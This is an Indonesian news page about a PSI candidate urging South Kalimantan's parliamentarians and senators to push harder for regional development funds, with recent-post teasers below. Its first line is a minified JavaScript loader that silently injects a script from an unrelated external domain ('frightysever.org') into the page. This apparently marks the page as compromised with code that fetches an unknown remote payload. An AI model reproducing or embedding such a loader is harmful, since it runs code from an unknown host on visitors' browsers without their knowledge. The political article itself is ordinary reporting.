(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Politik

Dorong Pembangunan, Dewan dan DPD Kalsel Mesti Lebih ‘Berkeringat’ di Senayan!


BANJARMASIN, Kalsel merupakan salah satu provinsi yang memiliki peran penting dalam pertumbuhan ekonomi dan stabilitas nasional. Maka itu, siapapun nanti yang terpilih sebagai presiden dalam Pilpres tanggal 17 April nanti, Kalsel akan tetap menjadi salah satu daerah yang menjadi perhatian utama.

Hal ini disampaikan Caleg DPR RI asal PSI Muhammad Bima Januri, menanggapi statemen Ketua DPD PDIP Kalsel Mardani H Maming dalam Forum Diskusi Banua Meja Bundar di Hotel Rattan Inn Banjarmasin, Rabu (20/3) lalu. Sebelumnya, disampaikan pembangunan di Kalsel terasa lamban dibandingkan daerah lain kareba pada Pilpres 2014 lalu Jokowi kalah suara dengan pasangan Prabowo Subianto-Hatta Rajasa.

“Jadi, percepatan pembangunan itu akan lebih didahulukan daerah yang memenangkan suara Jokowi-JK. Itulah mengakibatkan lambatnya pembangunan di Kalsel. Sebab yang diutamkan menang, kemudian baru yang kalah,” katanya ketika itu.

Menurut Bima, sebagai negerawan Jokowi tentunya tidak akan memilih pembangunan daerah berdasarkan suara hasil pemilu. “Toh NTB, di mana beliau kalah (suara) pembangunan tetap berjalan,” ujarnya.

Justru, disampaikannya lebih lanjut, hal ini menunjukan legislatif dan senator dari Kalsel yang tidak bekerja dengan semestianya. Tidak menunjukan fungsinya agar anggaran pembangunan di Kalsel diperjuangkan, sehingga bagi hasil SDA untuk Kalsel meningkat. Sehingga mereka perlu lebih berkeringat lagi berjuang untuk Kalsel.

“Tiap tahun pemda itu akan mendapatkan pembagian dari pemerintah pusat atas hasil pajak yang ditarik dari pertambangan, tapi nilainya tidak begitu besar, padahal yang terkena dampak adalah lingkungan di Kalsel. Dana itu harusnya digunakan untuk perbaikan lingkungan dan infrastruktur yang terdampak” jelasnya.

Ditambahkannya, pemda juga harus semakin cakap mencari peluang-peluang pembangunan tidak hanya bersumber dari pertambangan. Serta sekarang yang paling penting adalah memilih wakil-wakil Kalimantan Selatan di DPR yang mau bekerja untuk rakyatdan mengawal pemerintahan Jokowi di periode kedua.

“Dengan demikin pembangunan di Kalsel semakin terlihat. Kalau politisi tua tidak dapat bekerja, lebih baik serahkan kepada yang muda-muda” pungkasnya.(mario)

Reporter : Mario
Editor : Chell

Desy Arfianty

Recent Posts

65 Kg Sabu dan 12 Ribu Butir Ekstasi Jaringan Fredy Pratama Dimusnahkan

KANALKALIMANTAN.COM, BANJARBARU - Kepolisian Daerah (Polda) Kalimantan Selatan (Kalsel) memusnahan barang bukti sitaan narkoba hasil… Read More

7 jam ago

Tunggu Keluarga, Jasad Lelaki Tak Bernyawa Disimpan di Kamar Jenazah RSD Idaman

KANALKALIMANTAN.COM, BANJARBARU – Lelaki tak beridentitas yang ditemukan tergeletak tak bernyawa di Jalan Wira Agung… Read More

7 jam ago

Kenal Pamit Kapolres Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Kepala Kepolisian Resor (Kapolres) Kota Banjarbaru resmi berganti dari AKBP Dody Harza… Read More

9 jam ago

Tak Beridentitas, Jasad Lelaki Didapati Membiru di Landasan Ulin Tengah

KANALKALIMANTAN.COM, BANJARBARU - Warga di Jalan Trikora, Kelurahan Landasan Ulin Tengah, Kecamatan Liang Anggang, Kota… Read More

14 jam ago

Parkir Sembarangan Sekitar Taman Van der Pijl, Siap-siap Kena Derek!

KANALKALIMANTAN.COM, BANJARBARU - Pengunjung Taman Ramah Anak Van der Pijl Kota Banjarbaru tak hanya diharuskan… Read More

14 jam ago

Ombudsman Kalsel Terima 235 Aduan di 2024, Ini Sektor Paling Banyak Dilaporkan

KANALKALIMANTAN.COM, BANJARMASIN - Ombudsman RI Perwakilan Kalimantan Selatan (Kalsel) mencatat sepanjang tahun 2024 telah menerima… Read More

15 jam ago

This website uses cookies.